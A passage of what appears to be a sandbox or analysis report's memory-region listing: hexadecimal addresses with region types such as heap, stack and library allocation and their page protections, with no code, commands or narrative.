page read and write
7FF53081D000
unkown
page readonly
7FF52FDC3000
unkown
page readonly
7DF44D880000
unkown
page readonly
D161000
unkown
page read and write
23BDCDC3000
trusted library allocation
page read and write
22DA879C000
heap
page read and write
22DA86CF000
heap
page read and write
401000
unkown
page execute read
8730000
unkown
page read and write
301A000
unkown
page read and write
73B0000
unkown
page read and write
D613000
unkown
page read and write
8470000
unkown
page read and write
7FF53076E000
unkown
page readonly
7FF53080D000
unkown
page readonly
7FF530708000
unkown
page readonly
AF0000
unkown
page read and write
9CC8000
unkown
page read and write
3035000
unkown
page read and write
2EB0000
unkown
page readonly
947E000
unkown
page read and write
8160000
unkown
page read and write
23BF6B3F000
heap
page read and write
23BE00CD000
trusted library allocation
page read and write
8FE000
heap
page read and write
9E07000
unkown
page read and write
CFF4000
unkown
page read and write
7FF5303E8000
unkown
page readonly
B40000
unkown
page read and write
7FF5307D0000
unkown
page readonly
22DA879C000
heap
page read and write
22DA689C000
heap
page read and write
22DA8774000
heap
page read and write
D2E5000
unkown
page read and write
B71A000
stack
page read and write
D2A5000
unkown
page read and write
23BDEA91000
trusted library allocation
page read and write
22DA8792000
heap
page read and write
2490000
unkown
page read and write
B40000
unkown
page read and write
9D30000
unkown
page read and write
8730000
unkown
page read and write
7FF5304E0000
unkown
page readonly
8730000
unkown
page read and write
7FF5309FD000
unkown
page readonly
D480000
unkown
page read and write
4410000
unkown
page read and write
8470000
unkown
page read and write
8160000
unkown
page read and write
2956000
stack
page read and write
8730000
unkown
page read and write
8160000
unkown
page read and write
43C5000
unkown
page read and write
8730000
unkown
page read and write
7B10000
unkown
page readonly
437A000
unkown
page read and write
A49B000
unkown
page read and write
21D0000
heap
page read and write
E998000
unkown
page read and write
7FF53044A000
unkown
page readonly
23BF6C40000
heap
page execute and read and write
7FF5303A0000
unkown
page readonly
94C2000
unkown
page read and write
2490000
unkown
page read and write
B40000
unkown
page read and write
AEF000
stack
page read and write
889000
heap
page read and write
D2C8000
unkown
page read and write
22DA68C6000
heap
page read and write
7DF44D861000
unkown
page execute read
7B10000
unkown
page readonly
23BDECBD000
trusted library allocation
page read and write
7FF53089D000
unkown
page readonly
7FF53074F000
unkown
page readonly
22DA866E000
heap
page read and write
8730000
unkown
page read and write
2D30000
unkown
page readonly
7FF53074F000
unkown
page readonly
980E000
stack
page read and write
D15B000
unkown
page read and write
8790000
unkown
page read and write
D2B0000
unkown
page read and write
D5AF000
unkown
page read and write
8370000
unkown
page readonly
7FF530695000
unkown
page readonly
B40000
unkown
page read and write
CFA3000
unkown
page read and write
22DA68C6000
heap
page read and write
880000
heap
page read and write
2D50000
unkown
page readonly
22DA877A000
heap
page read and write
23BDCB30000
heap
page read and write
7FF5305CF000
unkown
page readonly
BF0000
unkown
page read and write
7FF5307A1000
unkown
page readonly
8160000
unkown
page read and write
23BF6B84000
heap
page read and write
8730000
unkown
page read and write
B40000
unkown
page read and write
2D70000
unkown
page read and write
7270000
unkown
page read and write
64E000
stack
page read and write
2490000
unkown
page read and write
2593000
heap
page read and write
7FF53060D000
unkown
page readonly
8980000
unkown
page read and write
7FF7C1326000
trusted library allocation
page read and write
22DA8670000
heap
page read and write
8970000
heap
page read and write
7FF530712000
unkown
page readonly
8730000
unkown
page read and write
7FF530928000
unkown
page readonly
D4D4000
unkown
page read and write
9E3A000
unkown
page read and write
A4D3000
unkown
page read and write
9B30000
unkown
page readonly
7FF5304F1000
unkown
page readonly
B40000
unkown
page read and write
7A00000
unkown
page read and write
70AF000
unkown
page read and write
7FF5307F8000
unkown
page readonly
8160000
unkown
page read and write
22DA8691000
heap
page read and write
7B00000
unkown
page read and write
23BE0427000
trusted library allocation
page read and write
8160000
unkown
page read and write
22DA8691000
heap
page read and write
BD0000
unkown
page readonly
D2E5000
unkown
page read and write
458EF13000
stack
page read and write
515000
unkown
page readonly
2B59000
stack
page read and write
8470000
unkown
page read and write
D161000
unkown
page read and write
22DA87F9000
heap
page read and write
E54E000
stack
page read and write
2490000
unkown
page read and write
9D2D000
unkown
page read and write
D18F000
unkown
page read and write
22DA8640000
heap
page read and write
958F000
unkown
page read and write
76F000
stack
page read and write
81DB000
stack
page read and write
A4E6000
unkown
page read and write
309C000
unkown
page read and write
22DA8695000
heap
page read and write
23BDCBE0000
heap
page readonly
7FF530673000
unkown
page readonly
7FF530565000
unkown
page readonly
7FF530297000
unkown
page readonly
7FF7C1550000
trusted library allocation
page read and write
22DA86DA000
heap
page read and write
7FF530290000
unkown
page readonly
B40000
unkown
page read and write
7FF5308EE000
unkown
page readonly
B40000
unkown
page read and write
E998000
unkown
page read and write
2EA0000
unkown
page readonly
7B00000
unkown
page read and write
22DA86D4000
heap
page read and write
7FF7C14C0000
trusted library allocation
page read and write
8730000
unkown
page read and write
40B000
unkown
page execute read
22DA8610000
heap
page read and write
D161000
unkown
page read and write
7FF530475000
unkown
page readonly
8160000
unkown
page read and write
7C38000
stack
page read and write
7FF5306C5000
unkown
page readonly
4DB3000
unkown
page read and write
22DA8958000
heap
page read and write
8FB000
heap
page read and write
23BDCC3D000
heap
page read and write
94A3000
unkown
page read and write
7FF530A65000
unkown
page readonly
94B3000
unkown
page read and write
7A20000
unkown
page readonly
9D58000
unkown
page read and write
D15B000
unkown
page read and write
7FF530928000
unkown
page readonly
7FF530433000
unkown
page readonly
9486000
unkown
page read and write
949B000
unkown
page read and write
7FF53099B000
unkown
page readonly
B40000
unkown
page read and write
94B5000
unkown
page read and write
CF20000
unkown
page read and write
22DA8940000
heap
page read and write
889000
heap
page read and write
7FF53088E000
unkown
page readonly
D617000
unkown
page read and write
7FF530521000
unkown
page readonly
22DA87DA000
heap
page read and write
D3B1000
unkown
page read and write
2490000
unkown
page read and write
8470000
unkown
page read and write
23BDE740000
heap
page read and write
22DA8674000
heap
page read and write
8810000
unkown
page read and write
23BDCBD0000
trusted library allocation
page read and write
957B000
unkown
page read and write
DEAC000
stack
page read and write
22DA874A000
heap
page read and write
D2B0000
unkown
page read and write
7FF5308D1000
unkown
page readonly
3098000
unkown
page read and write
8730000
unkown
page read and write
A47C000
unkown
page read and write
B40000
unkown
page read and write
8470000
unkown
page read and write
7FF5304E0000
unkown
page readonly
8150000
unkown
page read and write
8730000
unkown
page read and write
B40000
unkown
page read and write
7FF530678000
unkown
page readonly
7FF5305D7000
unkown
page readonly
22DA87F9000
heap
page read and write
22DA8697000
heap
page read and write
22DA8695000
heap
page read and write
B40000
unkown
page read and write
2340000
heap
page read and write
7FF5305CF000
unkown
page readonly
7717000
stack
page read and write
8470000
unkown
page read and write
7689000
stack
page read and write
1011B000
unkown
page read and write
9D34000
unkown
page read and write
7FF530475000
unkown
page readonly
D36B000
unkown
page read and write
B620000
unkown
page read and write
22DA895A000
heap
page read and write
B40000
unkown
page read and write
2FA0000
unkown
page read and write
7FF530435000
unkown
page readonly
4DC9000
unkown
page read and write
7087000
unkown
page read and write
D3FD000
unkown
page read and write
D5AB000
unkown
page read and write
7FF530734000
unkown
page readonly
22DA8687000
heap
page read and write
B5B0000
unkown
page read and write
7FF53080F000
unkown
page readonly
D155000
unkown
page read and write
7FF530524000
unkown
page readonly
9CE4000
unkown
page read and write
22DA8737000
heap
page read and write
8160000
unkown
page read and write
D173000
unkown
page read and write
8160000
unkown
page read and write
7FF530877000
unkown
page readonly
7FF530910000
unkown
page readonly
7FF7C1580000
trusted library allocation
page read and write
22DA68B1000
heap
page read and write
22DA8792000
heap
page read and write
9E8F000
unkown
page read and write
AEB000
stack
page read and write
B40000
unkown
page read and write
7B00000
unkown
page read and write
2490000
unkown
page read and write
22B0000
heap
page read and write
22DA87AF000
heap
page read and write
7FF5302A2000
unkown
page readonly
22DA68C6000
heap
page read and write
8730000
unkown
page read and write
22DA872B000
heap
page read and write
947B000
unkown
page read and write
7FF530A6E000
unkown
page readonly
458F5F7000
stack
page read and write
9579000
unkown
page read and write
7FF7C1470000
trusted library allocation
page read and write
8581000
unkown
page read and write
437D000
unkown
page read and write
7FF7C1421000
trusted library allocation
page read and write
3086000
unkown
page read and write
2FE5000
unkown
page read and write
7FF530712000
unkown
page readonly
7FF530815000
unkown
page readonly
7AF0000
unkown
page readonly
AB8B000
stack
page read and write
D15B000
unkown
page read and write
7FF5305F0000
unkown
page readonly
3040000
unkown
page read and write
23BF6DB7000
heap
page read and write
2490000
unkown
page read and write
2490000
unkown
page read and write
8160000
unkown
page read and write
23BDCBF0000
heap
page read and write
835A000
stack
page read and write
7FF53079E000
unkown
page readonly
7FF5304E3000
unkown
page readonly
93B4000
unkown
page read and write
9581000
unkown
page read and write
2291000
heap
page read and write
43CC000
unkown
page read and write
B36E000
stack
page read and write
94DC000
unkown
page read and write
22DA68D6000
heap
page read and write
7FF5301F8000
unkown
page readonly
B40000
unkown
page read and write
976A000
unkown
page read and write
B40000
unkown
page read and write
CFAA000
unkown
page read and write
3033000
unkown
page read and write
D3B1000
unkown
page read and write
B40000
unkown
page read and write
D0B8000
unkown
page read and write
7FF5303AC000
unkown
page readonly
7DF4B4D90000
trusted library allocation
page execute and read and write
8150000
unkown
page read and write
250A000
stack
page read and write
43C5000
unkown
page read and write
10094000
unkown
page read and write
4410000
unkown
page read and write
8160000
unkown
page read and write
D1B6000
unkown
page read and write
AF2E000
stack
page read and write
7FF53065A000
unkown
page readonly
D1B6000
unkown
page read and write
DDA9000
stack
page read and write
7DF44D8A1000
unkown
page execute read
D63B000
unkown
page read and write
7B30000
unkown
page readonly
9DC1000
unkown
page read and write
94B1000
unkown
page read and write
22DA689C000
heap
page read and write
B0F0000
unkown
page read and write
22DA68D6000
heap
page read and write
B40000
unkown
page read and write
2D30000
unkown
page readonly
7FF530A76000
unkown
page readonly
B0C0000
unkown
page readonly
8E80000
unkown
page readonly
8640000
unkown
page read and write
8140000
unkown
page read and write
7AEE000
stack
page read and write
23BF6B1D000
heap
page read and write
23BF6ADC000
heap
page read and write
22DA68C1000
heap
page read and write
7FF7C15B0000
trusted library allocation
page read and write
4396000
unkown
page read and write
7FF530846000
unkown
page readonly
22DA8697000
heap
page read and write
9E44000
unkown
page read and write
8470000
unkown
page read and write
458F7FE000
stack
page read and write
A48B000
unkown
page read and write
A92B000
stack
page read and write
8730000
unkown
page read and write
7FF5304F1000
unkown
page readonly
8470000
unkown
page read and write
8150000
unkown
page read and write
B5C0000
unkown
page readonly
7FF53096C000
unkown
page readonly
4DB3000
unkown
page read and write
CFB0000
unkown
page read and write
8470000
unkown
page read and write
9CC2000
unkown
page read and write
A9E0000
unkown
page readonly
9D16000
unkown
page read and write
22DA87AD000
heap
page read and write
2490000
unkown
page read and write
7FF53066D000
unkown
page readonly
D899000
stack
page read and write
1080000
unkown
page readonly
2501000
heap
page read and write
23BDEB15000
trusted library allocation
page read and write
A499000
unkown
page read and write
22DA86CF000
heap
page read and write
7FF527C9F000
unkown
page readonly
7FF5309AC000
unkown
page readonly
22DA86DC000
heap
page read and write
22DA8640000
heap
page read and write
7FF53084E000
unkown
page readonly
22DA68A1000
heap
page read and write
22DA868B000
heap
page read and write
2C00000
unkown
page readonly
7FF5302B2000
unkown
page readonly
8160000
unkown
page read and write
9B30000
unkown
page readonly
7FF5304E3000
unkown
page readonly
22DA68AF000
heap
page read and write
7FF7C1440000
trusted library allocation
page execute and read and write
23BE00B4000
trusted library allocation
page read and write
8730000
unkown
page read and write
2490000
unkown
page read and write
2E80000
stack
page read and write
8640000
unkown
page read and write
D198000
unkown
page read and write
7FF53058F000
unkown
page readonly
9390000
unkown
page read and write
22DA685A000
heap
page read and write
9CAE000
unkown
page read and write
7FF5305B2000
unkown
page readonly
7FF530917000
unkown
page readonly
7FF530417000
unkown
page readonly
22DA87B8000
heap
page read and write
8730000
unkown
page read and write
8730000
unkown
page read and write
7FF7C142A000
trusted library allocation
page read and write
8160000
unkown
page read and write
8730000
unkown
page read and write
45904CB000
stack
page read and write
8C5E000
stack
page read and write
7FF5309D5000
unkown
page readonly
6B0000
direct allocation
page read and write
6A0000
direct allocation
page execute and read and write
7FF53062D000
unkown
page readonly
7FF530935000
unkown
page readonly
8A10000
unkown
page read and write
E32F000
stack
page read and write
22DA8729000
heap
page read and write
43E3000
unkown
page read and write
9CF8000
unkown
page read and write
7509000
stack
page read and write
D3B1000
unkown
page read and write
302D000
unkown
page read and write
9089000
stack
page read and write
7FF7C1490000
trusted library allocation
page read and write
8730000
unkown
page read and write
22DA8801000
heap
page read and write
7FF5307CC000
unkown
page readonly
7FF5307C6000
unkown
page readonly
7FF5301FB000
unkown
page readonly
7FF53062D000
unkown
page readonly
706D3E7000
stack
page read and write
8730000
unkown
page read and write
23BF6E26000
heap
page read and write
22DA8799000
heap
page read and write
E99A000
unkown
page read and write
D3FD000
unkown
page read and write
2490000
unkown
page read and write
A9E0000
unkown
page readonly
B31000
unkown
page read and write
7FF530944000
unkown
page readonly
B620000
stack
page read and write
4307000
unkown
page read and write
7FF530A33000
unkown
page readonly
7FF53068B000
unkown
page readonly
22DA8687000
heap
page read and write
23BDCD10000
heap
page execute and read and write
7FF530402000
unkown
page readonly
DDA9000
stack
page read and write
43E3000
unkown
page read and write
B40000
unkown
page read and write
7FF5304D8000
unkown
page readonly
7FF530511000
unkown
page readonly
758A000
stack
page read and write
7DF44D881000
unkown
page execute read
7FF5305C2000
unkown
page readonly
7FF52FDD7000
unkown
page readonly
D611000
unkown
page read and write
7C0000
direct allocation
page read and write
23BF6C50000
heap
page read and write
8160000
unkown
page read and write
7FF5305F0000
unkown
page readonly
9D30000
unkown
page read and write
8980000
unkown
page read and write
2490000
unkown
page read and write
7125000
unkown
page read and write
D61B000
unkown
page read and write
B40000
unkown
page read and write
8640000
unkown
page read and write
7FF530565000
unkown
page readonly
7FF530A5B000
unkown
page readonly
AF30000
unkown
page read and write
23BEEB04000
trusted library allocation
page read and write
7FF5304D3000
unkown
page readonly
B620000
unkown
page read and write
94B1000
unkown
page read and write
7FF530819000
unkown
page readonly
8160000
unkown
page read and write
7FF530530000
unkown
page readonly
7FF530944000
unkown
page readonly
7FF527CA5000
unkown
page readonly
2AD9000
stack
page read and write
7FF5305F6000
unkown
page readonly
2490000
unkown
page read and write
22DA685F000
heap
page read and write
22DA8693000
heap
page read and write
22DA875B000
heap
page read and write
22DA8640000
heap
page read and write
7FF53075A000
unkown
page readonly
2490000
unkown
page read and write
9730000
unkown
page read and write
D2C4000
unkown
page read and write
AEA9000
stack
page read and write
7FF5305B2000
unkown
page readonly
94A1000
unkown
page read and write
9CE4000
unkown
page read and write
999F000
stack
page read and write
70CE000
unkown
page read and write
7FF53046F000
unkown
page readonly
7FF5303FF000
unkown
page readonly
7FF5307C6000
unkown
page readonly
A92B000
stack
page read and write
7FF530991000
unkown
page readonly
8470000
unkown
page read and write
D81F000
stack
page read and write
7FF530433000
unkown
page readonly
8730000
unkown
page read and write
7FF7C1510000
trusted library allocation
page read and write
22DA86D1000
heap
page read and write
22DA68A0000
heap
page read and write
22DA8790000
heap
page read and write
7FF530668000
unkown
page readonly
E99A000
unkown
page read and write
AA7E000
stack
page read and write
7FF530454000
unkown
page readonly
400000
unkown
page execute and read and write
7FF530935000
unkown
page readonly
2490000
unkown
page read and write
4328000
unkown
page read and write
4342000
unkown
page read and write
7FF530884000
unkown
page readonly
7FF530A48000
unkown
page readonly
D2E5000
unkown
page read and write
9519000
unkown
page read and write
7FF530687000
unkown
page readonly
22DA8807000
heap
page read and write
B40000
unkown
page read and write
7FF5308C5000
unkown
page readonly
6F94000
unkown
page read and write
7FF5303AC000
unkown
page readonly
9B1E000
stack
page read and write
9477000
unkown
page read and write
C50000
unkown
page readonly
8730000
unkown
page read and write
A48B000
unkown
page read and write
22DA8757000
heap
page read and write
EC70000
heap
page read and write
8470000
unkown
page read and write
22DA68BB000
heap
page read and write
B40000
unkown
page read and write
8730000
unkown
page read and write
7450000
unkown
page readonly
22DA868D000
heap
page read and write
258E000
stack
page read and write
7FF5308C1000
unkown
page readonly
8730000
unkown
page read and write
23BE06C5000
trusted library allocation
page read and write
7FF530483000
unkown
page readonly
43FC000
unkown
page read and write
22DA6882000
heap
page read and write
8730000
unkown
page read and write
B40000
unkown
page read and write
B40000
unkown
page read and write
9CAE000
unkown
page read and write
A460000
unkown
page read and write
7DF44D891000
unkown
page execute read
D5DE000
unkown
page read and write
D615000
unkown
page read and write
744B000
stack
page read and write
80F000
stack
page read and write
8730000
unkown
page read and write
8140000
unkown
page read and write
D2B8000
unkown
page read and write
7FF5302B5000
unkown
page readonly
B40000
unkown
page read and write
7717000
stack
page read and write
9CC8000
unkown
page read and write
D173000
unkown
page read and write
D61B000
unkown
page read and write
7DF44D891000
unkown
page execute read
22DA86D1000
heap
page read and write
2D70000
unkown
page read and write
7FF7C1570000
trusted library allocation
page read and write
8730000
unkown
page read and write
22DA8700000
heap
page read and write
2490000
unkown
page read and write
22DA8744000
heap
page read and write
7FF5302A5000
unkown
page readonly
E998000
unkown
page read and write
95B9000
unkown
page read and write
B40000
unkown
page read and write
7FF530687000
unkown
page readonly
8380000
unkown
page readonly
D2A5000
unkown
page read and write
E981000
unkown
page read and write
9C000
stack
page read and write
8730000
unkown
page read and write
22DA68D3000
heap
page read and write
8470000
unkown
page read and write
7DF44D8A1000
unkown
page execute read
7FF5309FD000
unkown
page readonly
7FF5304B8000
unkown
page readonly
7FF530514000
unkown
page readonly
B0BA000
stack
page read and write
B40000
unkown
page read and write
87D6000
unkown
page read and write
B40000
unkown
page read and write
22DA66E0000
heap
page read and write
991E000
stack
page read and write
7FF530949000
unkown
page readonly
23BF6FB0000
heap
page read and write
8470000
unkown
page read and write
22DA8689000
heap
page read and write
7FF7C1272000
trusted library allocation
page read and write
73B0000
unkown
page read and write
7FF5309FB000
unkown
page readonly
23BF6C47000
heap
page execute and read and write
7FF5304BF000
unkown
page readonly
7FF5309DD000
unkown
page readonly
2590000
heap
page read and write
8470000
unkown
page read and write
22DA68C6000
heap
page read and write
22DA68E5000
heap
page read and write
948A000
unkown
page read and write
8730000
unkown
page read and write
7FF7C1452000
trusted library allocation
page read and write
D5CA000
unkown
page read and write
7FF53080A000
unkown
page readonly
7FF5305F6000
unkown
page readonly
73C1000
unkown
page read and write
958F000
unkown
page read and write
EDF0000
heap
page read and write
7FF53090B000
unkown
page readonly
7FF530980000
unkown
page readonly
7FF5307AC000
unkown
page readonly
7FF5307AC000
unkown
page readonly
22DA8711000
heap
page read and write
23BDE710000
heap
page execute and read and write
8470000
unkown
page read and write
7FF530A1C000
unkown
page readonly
8470000
unkown
page read and write
7B0000
direct allocation
page execute and read and write
E950000
unkown
page read and write
8730000
unkown
page read and write
10116000
unkown
page read and write
D0ED000
unkown
page read and write
7FF527C9F000
unkown
page readonly
876000
stack
page read and write
7B00000
unkown
page read and write
400000
unkown
page readonly
7FF53065A000
unkown
page readonly
B120000
unkown
page read and write
7460000
unkown
page read and write
D2A1000
unkown
page read and write
302F000
unkown
page read and write
1081000
unkown
page readonly
22DA87B4000
heap
page read and write
22DA87A7000
heap
page read and write
7FF530877000
unkown
page readonly
8730000
unkown
page read and write
2490000
stack
page read and write
7FF530A37000
unkown
page readonly
B40000
unkown
page read and write
8160000
unkown
page read and write
23BDFDE3000
trusted library allocation
page read and write
10116000
unkown
page read and write
8730000
unkown
page read and write
22DA868B000
heap
page read and write
8730000
unkown
page read and write
9A9F000
stack
page read and write
22DA86DA000
heap
page read and write
7FF53050F000
unkown
page readonly
2956000
stack
page read and write
43F3000
unkown
page read and write
3082000
unkown
page read and write
7FF530A76000
unkown
page readonly
73C1000
unkown
page read and write
B40000
unkown
page read and write
7FF5309D1000
unkown
page readonly
2490000
unkown
page read and write
8730000
unkown
page read and write
E9B3000
unkown
page read and write
590000
unkown
page readonly
22DA87B1000
heap
page read and write
22DA872F000
heap
page read and write
8730000
unkown
page read and write
7FF5304A2000
unkown
page readonly
B40000
unkown
page read and write
8470000
unkown
page read and write
7FF5307CC000
unkown
page readonly
23BDF6BD000
trusted library allocation
page read and write
7FF530743000
unkown
page readonly
8160000
unkown
page read and write
22DA8942000
heap
page read and write
2490000
unkown
page read and write
8730000
unkown
page read and write
CE0000
heap
page read and write
41C000
unkown
page write copy
7FF5307F8000
unkown
page readonly
7B30000
unkown
page readonly
7DF44D870000
unkown
page readonly
7FF5305D7000
unkown
page readonly
7FF52FDCC000
unkown
page readonly
A9F0000
unkown
page readonly
9D29000
unkown
page read and write
7FF53099B000
unkown
page readonly
7FF5309D1000
unkown
page readonly
22DA87FE000
heap
page read and write
22DA68DC000
heap
page read and write
AF40000
unkown
page read and write
23BDCC2E000
heap
page read and write
B40000
unkown
page read and write
8730000
unkown
page read and write
78CD000
stack
page read and write
2500000
heap
page read and write
7FF53034E000
unkown
page readonly
9E9E000
unkown
page read and write
22DA8792000
heap
page read and write
4300000
unkown
page read and write
8150000
unkown
page read and write
7FF530413000
unkown
page readonly
22DA87F9000
heap
page read and write
7FF5309C9000
unkown
page readonly
22DA68CD000
heap
page read and write
7128000
unkown
page read and write
7FF530668000
unkown
page readonly
972C000
unkown
page read and write
8470000
unkown
page read and write
DD2F000
stack
page read and write
7FF530511000
unkown
page readonly
B40000
unkown
page read and write
22DA87B3000
heap
page read and write
8730000
unkown
page read and write
7FF7C14F0000
trusted library allocation
page read and write
CE5000
heap
page read and write
D1B6000
unkown
page read and write
83AA000
unkown
page read and write
7FF7C1590000
trusted library allocation
page read and write
2490000
unkown
page read and write
2C98000
stack
page read and write
8730000
unkown
page read and write
401000
unkown
page execute read
706DBFF000
stack
page read and write
8730000
unkown
page read and write
704000
heap
page read and write
7FB000
heap
page read and write
8730000
unkown
page read and write
6F8D000
unkown
page read and write
8730000
unkown
page read and write
8730000
unkown
page read and write
7FF530905000
unkown
page readonly
D5B6000
unkown
page read and write
3098000
unkown
page read and write
7FF53050F000
unkown
page readonly
8730000
unkown
page read and write
8730000
unkown
page read and write
9E44000
unkown
page read and write
B40000
unkown
page read and write
7FF530698000
unkown
page readonly
8470000
unkown
page read and write
7FF53068E000
unkown
page readonly
7FF530660000
unkown
page readonly
D11A000
unkown
page read and write
D99A000
stack
page read and write
2490000
unkown
page read and write
22DA6830000
heap
page read and write
E992000
unkown
page read and write
8150000
unkown
page read and write
22DA86D1000
heap
page read and write
7FF530609000
unkown
page readonly
433B000
unkown
page read and write
706DCFE000
stack
page read and write
7FF52FE0C000
unkown
page readonly
8470000
unkown
page read and write
8470000
unkown
page read and write
22DA868D000
heap
page read and write
9DC1000
unkown
page read and write
7FF5302B5000
unkown
page readonly
7A31000
unkown
page read and write
580000
unkown
page readonly
7FF530524000
unkown
page readonly
70B7000
unkown
page read and write
9A9F000
stack
page read and write
7FF530282000
unkown
page readonly
7FF530408000
unkown
page readonly
23BF6ADA000
heap
page read and write
2BD8000
stack
page read and write
302F000
unkown
page read and write
B40000
unkown
page read and write
9E2B000
unkown
page read and write
7FF530514000
unkown
page readonly
22DA87B5000
heap
page read and write
AE1B000
stack
page read and write
2170000
unclassified section
page read and write
9E36000
unkown
page read and write
22DA68C6000
heap
page read and write
23BDE745000
heap
page read and write
3040000
unkown
page read and write
7690000
unkown
page read and write
8730000
unkown
page read and write
7FF5307EA000
unkown
page readonly
D2A1000
unkown
page read and write
9390000
unkown
page read and write
438E000
unkown
page read and write
E95C000
unkown
page read and write
B620000
unkown
page read and write
8730000
unkown
page read and write
7FF530A37000
unkown
page readonly
7FF53027A000
unkown
page readonly
78F0000
unkown
page readonly
D919000
stack
page read and write
C01000
unkown
page readonly
D3B1000
unkown
page read and write
3018000
unkown
page read and write
7FF7C1530000
trusted library allocation
page read and write
8150000
unkown
page read and write
7FF5301FD000
unkown
page readonly
258E000
stack
page read and write
7FF530949000
unkown
page readonly
78D0000
unkown
page readonly
B40000
unkown
page read and write
94AD000
unkown
page read and write
7FF53089D000
unkown
page readonly
B40000
unkown
page read and write
7FF530440000
unkown
page readonly
7AEE000
stack
page read and write
4392000
unkown
page read and write
B40000
unkown
page read and write
8730000
unkown
page read and write
2490000
unkown
page read and write
94AF000
unkown
page read and write
7FF530A7B000
unkown
page readonly
8730000
unkown
page read and write
D47A000
unkown
page read and write
7FF5308A8000
unkown
page readonly
8380000
unkown
page readonly
10154000
unkown
page read and write
D2B8000
unkown
page read and write
D360000
unkown
page read and write
A460000
unkown
page read and write
22DA6838000
heap
page read and write
7FF530849000
unkown
page readonly
9D56000
unkown
page read and write
D2C8000
unkown
page read and write
7FF53059F000
unkown
page readonly
19D000
stack
page read and write
706DDFE000
stack
page read and write
7370000
unkown
page read and write
22DA87B2000
heap
page read and write
CFA3000
unkown
page read and write
8730000
unkown
page read and write
7FF5307EA000
unkown
page readonly
D2C4000
unkown
page read and write
B120000
unkown
page read and write
70D7000
unkown
page read and write
2C00000
unkown
page readonly
400000
unkown
page readonly
8730000
unkown
page read and write
7FF530402000
unkown
page readonly
D2AE000
unkown
page read and write
7FF53059F000
unkown
page readonly
4396000
unkown
page read and write
305D000
unkown
page read and write
9497000
unkown
page read and write
E0E0000
heap
page read and write
7FF530A5B000
unkown
page readonly
6C0000
unclassified section
page read and write
83AA000
unkown
page read and write
7FF5309DD000
unkown
page readonly
458F679000
stack
page read and write
7FF53053A000
unkown
page readonly
B40000
unkown
page read and write
8470000
unkown
page read and write
1011B000
unkown
page read and write
7FF7C15C0000
trusted library allocation
page read and write
7FF53082E000
unkown
page readonly
7FF7C1480000
trusted library allocation
page read and write
70AF000
unkown
page read and write
8581000
unkown
page read and write
9486000
unkown
page read and write
22DA86CF000
heap
page read and write
458F87E000
stack
page read and write
94A9000
unkown
page read and write
8730000
unkown
page read and write
22DA87B4000
heap
page read and write
10094000
unkown
page read and write
A4E6000
unkown
page read and write
E99A000
unkown
page read and write
D155000
unkown
page read and write
B71A000
stack
page read and write
8370000
unkown
page readonly
22DA895E000
heap
page read and write
957F000
unkown
page read and write
7FF5308EE000
unkown
page readonly
B5A0000
unkown
page read and write
8140000
unkown
page read and write
7BBD000
stack
page read and write
8470000
unkown
page read and write
DAAE000
stack
page read and write
4420000
unkown
page read and write
6D85000
stack
page read and write
8160000
unkown
page read and write
7FF530486000
unkown
page readonly
22DA87AD000
heap
page read and write
8730000
unkown
page read and write
7FF7C128B000
trusted library allocation
page read and write
9C18000
stack
page read and write
B40000
unkown
page read and write
70C9000
unkown
page read and write
7FF53060D000
unkown
page readonly
22DA8799000
heap
page read and write
7FF53029F000
unkown
page readonly
22DA689A000
heap
page read and write
7FF530846000
unkown
page readonly
7FF530289000
unkown
page readonly
8730000
unkown
page read and write
3021000
unkown
page read and write
C30000
unkown
page read and write
7FF530892000
unkown
page readonly
6F63000
unkown
page read and write
835A000
stack
page read and write
9B20000
unkown
page readonly
23BF6DB0000
heap
page read and write
7FF5308A8000
unkown
page readonly
2593000
heap
page read and write
7FF53058F000
unkown
page readonly
999F000
stack
page read and write
957F000
unkown
page read and write
22DA68C6000
heap
page read and write
B40000
unkown
page read and write
AAFD000
stack
page read and write
9CC6000
unkown
page read and write
7FF530A05000
unkown
page readonly
E98D000
unkown
page read and write
7FF53080A000
unkown
page readonly
A60000
unkown
page read and write
19D000
stack
page read and write
706E0FC000
stack
page read and write
7FF530822000
unkown
page readonly
9E9E000
unkown
page read and write
B60000
unkown
page read and write
22DA8911000
heap
page read and write
D360000
unkown
page read and write
9B20000
unkown
page readonly
7FF5306FE000
unkown
page readonly
22DA8693000
heap
page read and write
7FF5308F3000
unkown
page readonly
7FF53090B000
unkown
page readonly
22DA86D6000
heap
page read and write
706D6FE000
stack
page read and write
D606000
unkown
page read and write
9477000
unkown
page read and write
70B7000
unkown
page read and write
BD0000
unkown
page readonly
7FF7C1460000
trusted library allocation
page execute and read and write
7FF5308C1000
unkown
page readonly
8730000
unkown
page read and write
D2ED000
unkown
page read and write
B40000
unkown
page read and write
D61C000
unkown
page read and write
7B00000
unkown
page read and write
EC7A000
heap
page read and write
22DA8674000
heap
page read and write
7FF53033D000
unkown
page readonly
3086000
unkown
page read and write
8730000
unkown
page read and write
22DA8762000
heap
page read and write
7C38000
stack
page read and write
23BDCC4F000
heap
page read and write
23BDCBB0000
trusted library allocation
page read and write
B40000
unkown
page read and write
8A10000
unkown
page read and write
22DA6AC5000
heap
page read and write
7FF7C14D0000
trusted library allocation
page read and write
7FF7C14E0000
trusted library allocation
page read and write
22DA8700000
heap
page read and write
23BEEC47000
trusted library allocation
page read and write
23BDCC0F000
heap
page read and write
5F0000
unkown
page readonly
7FF52FDC3000
unkown
page readonly
7FF530582000
unkown
page readonly
7FF53041E000
unkown
page readonly
437D000
unkown
page read and write
22DA689E000
heap
page read and write
8150000
unkown
page read and write
7FF7C15A0000
trusted library allocation
page read and write
8160000
unkown
page read and write
4342000
unkown
page read and write
3031000
unkown
page read and write
7FF530440000
unkown
page readonly
7609000
stack
page read and write
863B000
stack
page read and write
C30000
unkown
page read and write
22DA877C000
heap
page read and write
8470000
unkown
page read and write
B11000
unkown
page read and write
B40000
unkown
page read and write
B40000
unkown
page read and write
7FF5309D3000
unkown
page readonly
308A000
unkown
page read and write
EC72000
heap
page read and write
8730000
unkown
page read and write
991E000
stack
page read and write
851F000
stack
page read and write
22DA8697000
heap
page read and write
2C98000
stack
page read and write
949B000
unkown
page read and write
9E21000
unkown
page read and write
22DA8640000
heap
page read and write
7FF5304A2000
unkown
page readonly
22DA894E000
heap
page read and write
7DA000
heap
page read and write
22DA68D3000
heap
page read and write
7FF530A60000
unkown
page readonly
8730000
unkown
page read and write
E992000
unkown
page read and write
8730000
unkown
page read and write
22DA872F000
heap
page read and write
7FF7C14A0000
trusted library allocation
page read and write
4D31000
unkown
page read and write
7FF5302A5000
unkown
page readonly
2E80000
stack
page read and write
2590000
heap
page read and write
7FF7C132C000
trusted library allocation
page execute and read and write
22DA68A4000
